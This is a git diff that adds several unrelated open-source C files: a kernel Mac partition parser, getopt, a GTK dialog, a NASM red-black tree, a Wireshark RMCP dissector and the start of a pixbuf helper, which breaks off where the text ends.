--git a/pool/shard011/C/0142282_mac.c b/pool/shard011/C/0142282_mac.c new file mode 100644 index 0000000000000000000000000000000000000000..74465ff7c263488bb7d64d486bc77512a7946966 --- /dev/null +++ b/pool/shard011/C/0142282_mac.c @@ -0,0 +1,133 @@ +/* + * fs/partitions/mac.c + * + * Code extracted from drivers/block/genhd.c + * Copyright (C) 1991-1998 Linus Torvalds + * Re-organised Feb 1998 Russell King + */ + +#include +#include "check.h" +#include "mac.h" + +#ifdef CONFIG_PPC_PMAC +#include +extern void note_bootable_part(dev_t dev, int part, int goodness); +#endif + +/* + * Code to understand MacOS partition tables. + */ + +static inline void mac_fix_string(char *stg, int len) +{ + int i; + + for (i = len - 1; i >= 0 && stg[i] == ' '; i--) + stg[i] = 0; +} + +int mac_partition(struct parsed_partitions *state) +{ + int slot = 1; + Sector sect; + unsigned char *data; + int blk, blocks_in_map; + unsigned secsize; +#ifdef CONFIG_PPC_PMAC + int found_root = 0; + int found_root_goodness = 0; +#endif + struct mac_partition *part; + struct mac_driver_desc *md; + + /* Get 0th block and look at the first partition map entry. */ + md = read_part_sector(state, 0, §); + if (!md) + return -1; + if (be16_to_cpu(md->signature) != MAC_DRIVER_MAGIC) { + put_dev_sector(sect); + return 0; + } + secsize = be16_to_cpu(md->block_size); + put_dev_sector(sect); + data = read_part_sector(state, secsize/512, §); + if (!data) + return -1; + part = (struct mac_partition *) (data + secsize%512); + if (be16_to_cpu(part->signature) != MAC_PARTITION_MAGIC) { + put_dev_sector(sect); + return 0; /* not a MacOS disk */ + } + printk(" [mac]"); + blocks_in_map = be32_to_cpu(part->map_count); + for (blk = 1; blk <= blocks_in_map; ++blk) { + int pos = blk * secsize; + put_dev_sector(sect); + data = read_part_sector(state, pos/512, §); + if (!data) + return -1; + part = (struct mac_partition *) (data + pos%512); + if (be16_to_cpu(part->signature) != MAC_PARTITION_MAGIC) + break; + put_partition(state, slot, + be32_to_cpu(part->start_block) * (secsize/512), + be32_to_cpu(part->block_count) * (secsize/512)); + + if (!strnicmp(part->type, "Linux_RAID", 10)) + state->parts[slot].flags = ADDPART_FLAG_RAID; +#ifdef CONFIG_PPC_PMAC + /* + * If this is the first bootable partition, tell the + * setup code, in case it wants to make this the root. + */ + if (machine_is(powermac)) { + int goodness = 0; + + mac_fix_string(part->processor, 16); + mac_fix_string(part->name, 32); + mac_fix_string(part->type, 32); + + if ((be32_to_cpu(part->status) & MAC_STATUS_BOOTABLE) + && strcasecmp(part->processor, "powerpc") == 0) + goodness++; + + if (strcasecmp(part->type, "Apple_UNIX_SVR2") == 0 + || (strnicmp(part->type, "Linux", 5) == 0 + && strcasecmp(part->type, "Linux_swap") != 0)) { + int i, l; + + goodness++; + l = strlen(part->name); + if (strcmp(part->name, "/") == 0) + goodness++; + for (i = 0; i <= l - 4; ++i) { + if (strnicmp(part->name + i, "root", + 4) == 0) { + goodness += 2; + break; + } + } + if (strnicmp(part->name, "swap", 4) == 0) + goodness--; + } + + if (goodness > found_root_goodness) { + found_root = blk; + found_root_goodness = goodness; + } + } +#endif /* CONFIG_PPC_PMAC */ + + ++slot; + } +#ifdef CONFIG_PPC_PMAC + if (found_root_goodness) + note_bootable_part(state->bdev->bd_dev, found_root, + found_root_goodness); +#endif + + put_dev_sector(sect); + printk("\n"); + return 1; +} diff --git a/pool/shard011/C/0142283_getopt.c b/pool/shard011/C/0142283_getopt.c new file mode 100644 index 0000000000000000000000000000000000000000..9546b4f41cf66d97d4a6c54bcba788696f510ea9 --- /dev/null +++ b/pool/shard011/C/0142283_getopt.c @@ -0,0 +1,130 @@ +/* $NetBSD: getopt.c,v 1.26 2003/08/07 16:43:40 agc Exp $ */ + +/* + * Copyright (c) 1987, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#if defined(LIBC_SCCS) && !defined(lint) +static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include + +#ifndef WIN32 +#include +#endif // WIN32 + +extern const char *_getprogname(void); + +int opterr = 1, /* if error message should be printed */ + optind = 1, /* index into parent argv vector */ + optopt, /* character checked for validity */ + optreset; /* reset getopt */ +char *optarg; /* argument associated with option */ + +#define BADCH (int)'?' +#define BADARG (int)':' +#define EMSG "" + +/* + * getopt -- + * Parse argc/argv argument vector. + */ +int getopt(int nargc,char * const nargv[],const char *ostr) +{ + static char *place = EMSG; /* option letter processing */ + char *oli; /* option letter list index */ + + if (optreset || *place == 0) { /* update scanning pointer */ + optreset = 0; + place = nargv[optind]; + if (optind >= nargc || *place++ != '-') { + /* Argument is absent or is not an option */ + place = EMSG; + return (-1); + } + optopt = *place++; + if (optopt == '-' && *place == 0) { + /* "--" => end of options */ + ++optind; + place = EMSG; + return (-1); + } + if (optopt == 0) { + /* Solitary '-', treat as a '-' option + if the program (eg su) is looking for it. */ + place = EMSG; + if (strchr(ostr, '-') == NULL) + return (-1); + optopt = '-'; + } + } else + optopt = *place++; + + /* See if option letter is one the caller wanted... */ + if (optopt == ':' || (oli = (char*)strchr(ostr, optopt)) == NULL) { + if (*place == 0) + ++optind; + if (opterr && *ostr != ':') + (void)fprintf(stderr, + "%s: illegal option -- %c\n", _getprogname(), + optopt); + return (BADCH); + } + + /* Does this option need an argument? */ + if (oli[1] != ':') { + /* don't need argument */ + optarg = NULL; + if (*place == 0) + ++optind; + } else { + /* Option-argument is either the rest of this argument or the + entire next argument. */ + if (*place) + optarg = place; + else if (nargc > ++optind) + optarg = nargv[optind]; + else { + /* option-argument absent */ + place = EMSG; + if (*ostr == ':') + return (BADARG); + if (opterr) + (void)fprintf(stderr, + "%s: option requires an argument -- %c\n", + _getprogname(), optopt); + return (BADCH); + } + place = EMSG; + ++optind; + } + return (optopt); /* return option letter */ +} diff --git a/pool/shard011/C/0142284_ppg-configure-instrument-dialog.c b/pool/shard011/C/0142284_ppg-configure-instrument-dialog.c new file mode 100644 index 0000000000000000000000000000000000000000..61f3a6aefc4e8c15abd425c17642d87c3706baa3 --- /dev/null +++ b/pool/shard011/C/0142284_ppg-configure-instrument-dialog.c @@ -0,0 +1,220 @@ +/* ppg-configure-instrument-dialog.c + * + * Copyright (C) 2010 Christian Hergert + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include + +#include "ppg-configure-instrument-dialog.h" +#include "ppg-instrument.h" +#include "ppg-session.h" + +G_DEFINE_TYPE(PpgConfigureInstrumentDialog, + ppg_configure_instrument_dialog, + GTK_TYPE_DIALOG) + +struct _PpgConfigureInstrumentDialogPrivate +{ + PpgSession *session; + PpgInstrument *instrument; + + GtkNotebook *notebook; +}; + +enum +{ + PROP_0, + PROP_INSTRUMENT, + PROP_SESSION, +}; + +static void +ppg_configure_instrument_dialog_set_instrument (PpgConfigureInstrumentDialog *dialog, + PpgInstrument *instrument) +{ + PpgConfigureInstrumentDialogPrivate *priv; + + g_return_if_fail(PPG_IS_CONFIGURE_INSTRUMENT_DIALOG(dialog)); + g_return_if_fail(PPG_IS_INSTRUMENT(instrument)); + + priv = dialog->priv; + priv->instrument = instrument; +} + +static void +ppg_configure_instrument_dialog_set_session (PpgConfigureInstrumentDialog *dialog, + PpgSession *session) +{ + PpgConfigureInstrumentDialogPrivate *priv; + + g_return_if_fail(PPG_IS_CONFIGURE_INSTRUMENT_DIALOG(dialog)); + g_return_if_fail(PPG_IS_SESSION(session)); + + priv = dialog->priv; + priv->session = session; +} + +/** + * ppg_configure_instrument_dialog_finalize: + * @object: (in): A #PpgConfigureInstrumentDialog. + * + * Finalizer for a #PpgConfigureInstrumentDialog instance. Frees any resources held by + * the instance. + * + * Returns: None. + * Side effects: None. + */ +static void +ppg_configure_instrument_dialog_finalize (GObject *object) +{ + G_OBJECT_CLASS(ppg_configure_instrument_dialog_parent_class)->finalize(object); +} + +/** + * ppg_configure_instrument_dialog_set_property: + * @object: (in): A #GObject. + * @prop_id: (in): The property identifier. + * @value: (out): The given property. + * @pspec: (in): A #ParamSpec. + * + * Get a given #GObject property. + */ +static void +ppg_configure_instrument_dialog_get_property (GObject *object, + guint prop_id, + GValue *value, + GParamSpec *pspec) +{ + PpgConfigureInstrumentDialog *dialog = PPG_CONFIGURE_INSTRUMENT_DIALOG(object); + + switch (prop_id) { + case PROP_INSTRUMENT: + g_value_set_object(value, dialog->priv->instrument); + break; + case PROP_SESSION: + g_value_set_object(value, dialog->priv->session); + break; + default: + G_OBJECT_WARN_INVALID_PROPERTY_ID(object, prop_id, pspec); + } +} + +/** + * ppg_configure_instrument_dialog_set_property: + * @object: (in): A #GObject. + * @prop_id: (in): The property identifier. + * @value: (in): The given property. + * @pspec: (in): A #ParamSpec. + * + * Set a given #GObject property. + */ +static void +ppg_configure_instrument_dialog_set_property (GObject *object, + guint prop_id, + const GValue *value, + GParamSpec *pspec) +{ + PpgConfigureInstrumentDialog *dialog = PPG_CONFIGURE_INSTRUMENT_DIALOG(object); + + switch (prop_id) { + case PROP_INSTRUMENT: + ppg_configure_instrument_dialog_set_instrument(dialog, g_value_get_object(value)); + break; + case PROP_SESSION: + ppg_configure_instrument_dialog_set_session(dialog, g_value_get_object(value)); + break; + default: + G_OBJECT_WARN_INVALID_PROPERTY_ID(object, prop_id, pspec); + } +} + +/** + * ppg_configure_instrument_dialog_class_init: + * @klass: (in): A #PpgConfigureInstrumentDialogClass. + * + * Initializes the #PpgConfigureInstrumentDialogClass and prepares the vtable. + * + * Returns: None. + * Side effects: None. + */ +static void +ppg_configure_instrument_dialog_class_init (PpgConfigureInstrumentDialogClass *klass) +{ + GObjectClass *object_class; + + object_class = G_OBJECT_CLASS(klass); + object_class->finalize = ppg_configure_instrument_dialog_finalize; + object_class->get_property = ppg_configure_instrument_dialog_get_property; + object_class->set_property = ppg_configure_instrument_dialog_set_property; + g_type_class_add_private(object_class, sizeof(PpgConfigureInstrumentDialogPrivate)); + + g_object_class_install_property(object_class, + PROP_INSTRUMENT, + g_param_spec_object("instrument", + "instrument", + "instrument", + PPG_TYPE_INSTRUMENT, + G_PARAM_READWRITE)); + + g_object_class_install_property(object_class, + PROP_SESSION, + g_param_spec_object("session", + "session", + "session", + PPG_TYPE_SESSION, + G_PARAM_READWRITE)); +} + +/** + * ppg_configure_instrument_dialog_init: + * @dialog: (in): A #PpgConfigureInstrumentDialog. + * + * Initializes the newly created #PpgConfigureInstrumentDialog instance. + * + * Returns: None. + * Side effects: None. + */ +static void +ppg_configure_instrument_dialog_init (PpgConfigureInstrumentDialog *dialog) +{ + PpgConfigureInstrumentDialogPrivate *priv; + GtkContainer *box; + + priv = G_TYPE_INSTANCE_GET_PRIVATE(dialog, + PPG_TYPE_CONFIGURE_INSTRUMENT_DIALOG, + PpgConfigureInstrumentDialogPrivate); + dialog->priv = priv; + + g_object_set(dialog, + "border-width", 6, + "default-width", 300, + "default-height", 350, + "title", _("Configure Instrument"), + NULL); + + box = GTK_CONTAINER(gtk_dialog_get_content_area(GTK_DIALOG(dialog))); + g_object_set(box, + "border-width", 6, + NULL); + + priv->notebook = g_object_new(GTK_TYPE_NOTEBOOK, + "visible", TRUE, + NULL); + gtk_container_add(box, GTK_WIDGET(priv->notebook)); + + gtk_dialog_add_button(GTK_DIALOG(dialog), GTK_STOCK_CLOSE, GTK_RESPONSE_CLOSE); + gtk_dialog_set_default_response(GTK_DIALOG(dialog), GTK_RESPONSE_CLOSE); +} diff --git a/pool/shard011/C/0142285_rbtree.c b/pool/shard011/C/0142285_rbtree.c new file mode 100644 index 0000000000000000000000000000000000000000..773338bb4d283cb45cd2075662f9c07c4d5f5d0f --- /dev/null +++ b/pool/shard011/C/0142285_rbtree.c @@ -0,0 +1,259 @@ +/* ----------------------------------------------------------------------- * + * + * Copyright 1996-2020 The NASM Authors - All Rights Reserved + * See the file AUTHORS included with the NASM distribution for + * the specific copyright holders. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following + * conditions are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * ----------------------------------------------------------------------- */ + +/* + * rbtree.c + * + * Simple implementation of a "left-leaning threaded red-black tree" + * with 64-bit integer keys. The search operation will return the + * highest node <= the key; only search and insert are supported, but + * additional standard llrbtree operations can be coded up at will. + * + * See http://www.cs.princeton.edu/~rs/talks/LLRB/RedBlack.pdf for + * information about left-leaning red-black trees. + * + * The "threaded" part means that left and right pointers that would + * otherwise be NULL are pointers to the in-order predecessor or + * successor node. The only pointers that are NULL are the very left- + * and rightmost, for which no corresponding side node exists. + * + * This, among other things, allows for efficient predecessor and + * successor operations without requiring dedicated space for a parent + * pointer. + * + * This implementation is robust for identical key values; such keys + * will not have their insertion order preserved, and after insertion + * of unrelated keys a lookup may return a different node for the + * duplicated key, but the prev/next operations will always enumerate + * all entries. + * + * The NULL pointers at the end are considered predecessor/successor + * pointers, so if the corresponding flags are clear it is always safe + * to access the pointed-to object without an explicit NULL pointer + * check. + */ + +#include "rbtree.h" +#include "nasmlib.h" + +struct rbtree *rb_search(const struct rbtree *tree, uint64_t key) +{ + const struct rbtree *best = NULL; + + if (tree) { + while (true) { + if (tree->key > key) { + if (tree->m.flags & RBTREE_NODE_PRED) + break; + tree = tree->m.left; + } else { + best = tree; + if (tree->key == key || (tree->m.flags & RBTREE_NODE_SUCC)) + break; + tree = tree->m.right; + } + } + } + return (struct rbtree *)best; +} + +struct rbtree *rb_search_exact(const struct rbtree *tree, uint64_t key) +{ + struct rbtree *rv; + + rv = rb_search(tree, key); + return (rv && rv->key == key) ? rv : NULL; +} + +/* Reds two left in a row? */ +static inline bool is_red_left_left(struct rbtree *h) +{ + return !(h->m.flags & RBTREE_NODE_PRED) && + !(h->m.left->m.flags & (RBTREE_NODE_BLACK|RBTREE_NODE_PRED)) && + !(h->m.left->m.left->m.flags & RBTREE_NODE_BLACK); +} + +/* Node to the right is red? */ +static inline bool is_red_right(struct rbtree *h) +{ + return !(h->m.flags & RBTREE_NODE_SUCC) && + !(h->m.right->m.flags & RBTREE_NODE_BLACK); +} + +/* Both the left and right hand nodes are red? */ +static inline bool is_red_both(struct rbtree *h) +{ + return !(h->m.flags & (RBTREE_NODE_PRED|RBTREE_NODE_SUCC)) + && !(h->m.left->m.flags & h->m.right->m.flags & RBTREE_NODE_BLACK); +} + +static inline struct rbtree *rotate_left(struct rbtree *h) +{ + struct rbtree *x = h->m.right; + enum rbtree_node_flags hf = h->m.flags; + enum rbtree_node_flags xf = x->m.flags; + + if (xf & RBTREE_NODE_PRED) { + h->m.right = x; + h->m.flags = (hf & RBTREE_NODE_PRED) | RBTREE_NODE_SUCC; + } else { + h->m.right = x->m.left; + h->m.flags = hf & RBTREE_NODE_PRED; + } + x->m.flags = (hf & RBTREE_NODE_BLACK) | (xf & RBTREE_NODE_SUCC); + x->m.left = h; + + return x; +} + +static inline struct rbtree *rotate_right(struct rbtree *h) +{ + struct rbtree *x = h->m.left; + enum rbtree_node_flags hf = h->m.flags; + enum rbtree_node_flags xf = x->m.flags; + + if (xf & RBTREE_NODE_SUCC) { + h->m.left = x; + h->m.flags = (hf & RBTREE_NODE_SUCC) | RBTREE_NODE_PRED; + } else { + h->m.left = x->m.right; + h->m.flags = hf & RBTREE_NODE_SUCC; + } + x->m.flags = (hf & RBTREE_NODE_BLACK) | (xf & RBTREE_NODE_PRED); + x->m.right = h; + + return x; +} + +static inline void color_flip(struct rbtree *h) +{ + h->m.flags ^= RBTREE_NODE_BLACK; + h->m.left->m.flags ^= RBTREE_NODE_BLACK; + h->m.right->m.flags ^= RBTREE_NODE_BLACK; +} + +static struct rbtree * +_rb_insert(struct rbtree *tree, struct rbtree *node); + +struct rbtree *rb_insert(struct rbtree *tree, struct rbtree *node) +{ + /* Initialize node as if it was the sole member of the tree */ + + nasm_zero(node->m); + node->m.flags = RBTREE_NODE_PRED|RBTREE_NODE_SUCC; + + if (unlikely(!tree)) + return node; + + return _rb_insert(tree, node); +} + +static struct rbtree * +_rb_insert(struct rbtree *tree, struct rbtree *node) +{ + /* Recursive part of the algorithm */ + + /* Red on both sides? */ + if (is_red_both(tree)) + color_flip(tree); + + if (node->key < tree->key) { + node->m.right = tree; /* Potential successor */ + if (tree->m.flags & RBTREE_NODE_PRED) { + node->m.left = tree->m.left; + tree->m.flags &= ~RBTREE_NODE_PRED; + tree->m.left = node; + } else { + tree->m.left = _rb_insert(tree->m.left, node); + } + } else { + node->m.left = tree; /* Potential predecessor */ + if (tree->m.flags & RBTREE_NODE_SUCC) { + node->m.right = tree->m.right; + tree->m.flags &= ~RBTREE_NODE_SUCC; + tree->m.right = node; + } else { + tree->m.right = _rb_insert(tree->m.right, node); + } + } + + if (is_red_right(tree)) + tree = rotate_left(tree); + + if (is_red_left_left(tree)) + tree = rotate_right(tree); + + return tree; +} + +struct rbtree *rb_first(const struct rbtree *tree) +{ + if (unlikely(!tree)) + return NULL; + + while (!(tree->m.flags & RBTREE_NODE_PRED)) + tree = tree->m.left; + + return (struct rbtree *)tree; +} + +struct rbtree *rb_last(const struct rbtree *tree) +{ + if (unlikely(!tree)) + return NULL; + + while (!(tree->m.flags & RBTREE_NODE_SUCC)) + tree = tree->m.right; + + return (struct rbtree *)tree; +} + +struct rbtree *rb_prev(const struct rbtree *node) +{ + struct rbtree *np = node->m.left; + + if (node->m.flags & RBTREE_NODE_PRED) + return np; + else + return rb_last(np); +} + +struct rbtree *rb_next(const struct rbtree *node) +{ + struct rbtree *np = node->m.right; + + if (node->m.flags & RBTREE_NODE_SUCC) + return np; + else + return rb_first(np); +} diff --git a/pool/shard011/C/0142286_packet-rmcp.c b/pool/shard011/C/0142286_packet-rmcp.c new file mode 100644 index 0000000000000000000000000000000000000000..4275f3febea715ca996a26657997bf00ff24f682 --- /dev/null +++ b/pool/shard011/C/0142286_packet-rmcp.c @@ -0,0 +1,279 @@ +/* packet-rmcp.c + * Routines for RMCP packet dissection + * + * Duncan Laurie + * + * Wireshark - Network traffic analyzer + * By Gerald Combs + * Copyright 1998 Gerald Combs + * + * Copied from packet-tftp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" + +#include +#include + +void proto_register_rmcp(void); +void proto_register_rsp(void); +void proto_reg_handoff_rmcp(void); +void proto_reg_handoff_rsp(void); + +/* + * See + * http://www.dmtf.org/standards/standard_alert.php + * http://www.dmtf.org/standards/documents/ASF/DSP0136.pdf + * (the ASF specification includes RMCP) + */ + +static int proto_rmcp = -1; +static int hf_rmcp_version = -1; +static int hf_rmcp_sequence = -1; +static int hf_rmcp_class = -1; +static int hf_rmcp_type = -1; +static int hf_rmcp_trailer = -1; + +static int proto_rsp = -1; +static int hf_rsp_session_id = -1; +static int hf_rsp_sequence = -1; + +static gint ett_rmcp = -1; +static gint ett_rmcp_typeclass = -1; + +static gint ett_rsp = -1; + +static dissector_handle_t data_handle; +static dissector_table_t rmcp_dissector_table; + +#define UDP_PORT_RMCP 623 +#define UDP_PORT_RMCP_SECURE 664 + +#define RMCP_TYPE_MASK 0x80 +#define RMCP_TYPE_NORM 0x00 +#define RMCP_TYPE_ACK 0x01 + +static const value_string rmcp_type_vals[] = { + { RMCP_TYPE_NORM, "Normal RMCP" }, + { RMCP_TYPE_ACK, "RMCP ACK" }, + { 0, NULL } +}; + +#define RMCP_CLASS_MASK 0x1f +#define RMCP_CLASS_ASF 0x06 +#define RMCP_CLASS_IPMI 0x07 +#define RMCP_CLASS_OEM 0x08 + +static const value_string rmcp_class_vals[] = { + { RMCP_CLASS_ASF, "ASF" }, + { RMCP_CLASS_IPMI, "IPMI" }, + { RMCP_CLASS_OEM, "OEM" }, + { 0, NULL } +}; + +static int +dissect_rmcp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_) +{ + proto_tree *rmcp_tree = NULL, *field_tree; + proto_item *ti; + tvbuff_t *next_tvb; + guint8 rmcp_class; + const gchar *class_str; + guint8 type; + guint len; + + /* + * Check whether it's a known class value; if not, assume it's + * not RMCP. + */ + if (!tvb_bytes_exist(tvb, 3, 1)) + return 0; /* class value byte not present */ + rmcp_class = tvb_get_guint8(tvb, 3); + + /* Get the normal/ack bit from the RMCP class */ + type = (rmcp_class & RMCP_TYPE_MASK) >> 7; + rmcp_class &= RMCP_CLASS_MASK; + + class_str = try_val_to_str(rmcp_class, rmcp_class_vals); + if (class_str == NULL) + return 0; /* unknown class value */ + + col_set_str(pinfo->cinfo, COL_PROTOCOL, "RMCP"); + col_add_fstr(pinfo->cinfo, COL_INFO, "%s, Class: %s", + val_to_str(type, rmcp_type_vals, "Unknown (0x%02x)"), + class_str); + + if (tree) { + ti = proto_tree_add_protocol_format(tree, proto_rmcp, tvb, 0, 4, + "Remote Management Control Protocol, Class: %s", + class_str); + rmcp_tree = proto_item_add_subtree(ti, ett_rmcp); + + proto_tree_add_item(rmcp_tree, hf_rmcp_version, tvb, 0, 1, ENC_LITTLE_ENDIAN); + proto_tree_add_item(rmcp_tree, hf_rmcp_sequence, tvb, 2, 1, ENC_LITTLE_ENDIAN); + + field_tree = proto_tree_add_subtree_format(rmcp_tree, tvb, 3, 1, + ett_rmcp_typeclass, NULL, "Type: %s, Class: %s", + val_to_str(type, rmcp_type_vals, "Unknown (0x%02x)"), + class_str); + + proto_tree_add_item(field_tree, hf_rmcp_class, tvb, 3, 1, ENC_LITTLE_ENDIAN); + proto_tree_add_item(field_tree, hf_rmcp_type, tvb, 3, 1, ENC_LITTLE_ENDIAN); + } + + if (!type){ /* do not expect a data block for an ACK */ + + next_tvb = tvb_new_subset_remaining(tvb, 4); + + if (!dissector_try_uint(rmcp_dissector_table, rmcp_class, next_tvb, pinfo, + tree)) { + len = call_dissector(data_handle, next_tvb, pinfo, tree); + if (len < tvb_length(next_tvb)) { + proto_tree_add_item(tree, hf_rmcp_trailer, tvb, 4 + len, -1, ENC_NA); + } + } + } + + return tvb_length(tvb); +} + +static int +dissect_rsp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_) +{ + proto_tree *rsp_tree = NULL/*, *field_tree*/; + proto_item *ti/*, *tf*/; + tvbuff_t *next_tvb; + int offset = 0; + + if (tree) { + ti = proto_tree_add_protocol_format(tree, proto_rsp, tvb, offset, 8, + "RMCP Security-extension Protocol"); + rsp_tree = proto_item_add_subtree(ti, ett_rsp); + + proto_tree_add_item(rsp_tree, hf_rsp_session_id, tvb, offset, 4, ENC_BIG_ENDIAN); + offset += 4; + proto_tree_add_item(rsp_tree, hf_rsp_sequence, tvb, offset, 4, ENC_BIG_ENDIAN); + /*offset += 4;*/ + } + + /* XXX determination of RCMP message length needs to + * be done according to 3.2.3.3.3 of the specification. + * This is only valid for session ID equals 0 + */ + next_tvb = tvb_new_subset_remaining(tvb, 8); + dissect_rmcp(next_tvb, pinfo, tree, NULL); + + return tvb_length(tvb); +} + +void +proto_register_rmcp(void) +{ + static hf_register_info hf[] = { + { &hf_rmcp_version, { + "Version", "rmcp.version", + FT_UINT8, BASE_HEX, NULL, 0, + "RMCP Version", HFILL }}, + { &hf_rmcp_sequence, { + "Sequence", "rmcp.sequence", + FT_UINT8, BASE_HEX, NULL, 0, + "RMCP Sequence", HFILL }}, + { &hf_rmcp_class, { + "Class", "rmcp.class", + FT_UINT8, BASE_HEX, + VALS(rmcp_class_vals), RMCP_CLASS_MASK, + "RMCP Class", HFILL }}, + { &hf_rmcp_type, { + "Message Type", "rmcp.type", + FT_UINT8, BASE_HEX, + VALS(rmcp_type_vals), RMCP_TYPE_MASK, + "RMCP Message Type", HFILL }}, + { &hf_rmcp_trailer, { + "RSP Trailer", "rmcp.trailer", + FT_BYTES, BASE_NONE, NULL, 0, + NULL, HFILL }}, + }; + static gint *ett[] = { + &ett_rmcp, + &ett_rmcp_typeclass + }; + + proto_rmcp = proto_register_protocol( + "Remote Management Control Protocol", "RMCP", "rmcp"); + + proto_register_field_array(proto_rmcp, hf, array_length(hf)); + proto_register_subtree_array(ett, array_length(ett)); + + rmcp_dissector_table = register_dissector_table( + "rmcp.class", "RMCP Class", FT_UINT8, BASE_HEX); +} + +void +proto_register_rsp(void) +{ + static hf_register_info hf[] = { + { &hf_rsp_session_id, { + "Session ID", "rsp.session_id", + FT_UINT32, BASE_HEX, NULL, 0, + "RSP session ID", HFILL }}, + { &hf_rsp_sequence, { + "Sequence", "rsp.sequence", + FT_UINT32, BASE_HEX, NULL, 0, + "RSP sequence", HFILL }}, + }; + static gint *ett[] = { + &ett_rsp + }; + + proto_rsp = proto_register_protocol( + "RMCP Security-extensions Protocol", "RSP", "rsp"); + proto_register_field_array(proto_rsp, hf, array_length(hf)); + proto_register_subtree_array(ett, array_length(ett)); +} + +void +proto_reg_handoff_rmcp(void) +{ + dissector_handle_t rmcp_handle; + + data_handle = find_dissector("data"); + + rmcp_handle = new_create_dissector_handle(dissect_rmcp, proto_rmcp); + dissector_add_uint("udp.port", UDP_PORT_RMCP, rmcp_handle); +} + +void +proto_reg_handoff_rsp(void) +{ + dissector_handle_t rsp_handle; + + rsp_handle = new_create_dissector_handle(dissect_rsp, proto_rsp); + dissector_add_uint("udp.port", UDP_PORT_RMCP_SECURE, rsp_handle); +} + +/* + * Editor modelines - http://www.wireshark.org/tools/modelines.html + * + * Local variables: + * c-basic-offset: 8 + * tab-width: 8 + * indent-tabs-mode: t + * End: + * + * vi: set shiftwidth=8 tabstop=8 noexpandtab: + * :indentSize=8:tabSize=8:noTabs=false: + */ diff --git a/pool/shard011/C/0142287_pixbuf.c b/pool/shard011/C/0142287_pixbuf.c new file mode 100644 index 0000000000000000000000000000000000000000..ccb34a9c7800da758edb84e76caf121322c80023 --- /dev/null +++ b/pool/shard011/C/0142287_pixbuf.c @@ -0,0 +1,150 @@ +#include + +#include "egal.h" +#include "pixbuf.h" + +void egal_pixbuf_free(GalPixbuf *pixbuf) +{ + if (pixbuf->pixels) + e_free(pixbuf->pixels); + e_slice_free(GalPixbuf, pixbuf); +} + +GalPixbuf *egal_pixbuf_new(ebool alpha, eint w, eint h) +{ + GalPixbuf *pixbuf = e_slice_new(GalPixbuf); + + pixbuf->alpha = alpha; + pixbuf->w = w; + pixbuf->h = h; + + if (pixbuf->alpha) + pixbuf->pixelbytes = 4; + else + pixbuf->pixelbytes = 3; + pixbuf->rowbytes = (pixbuf->w 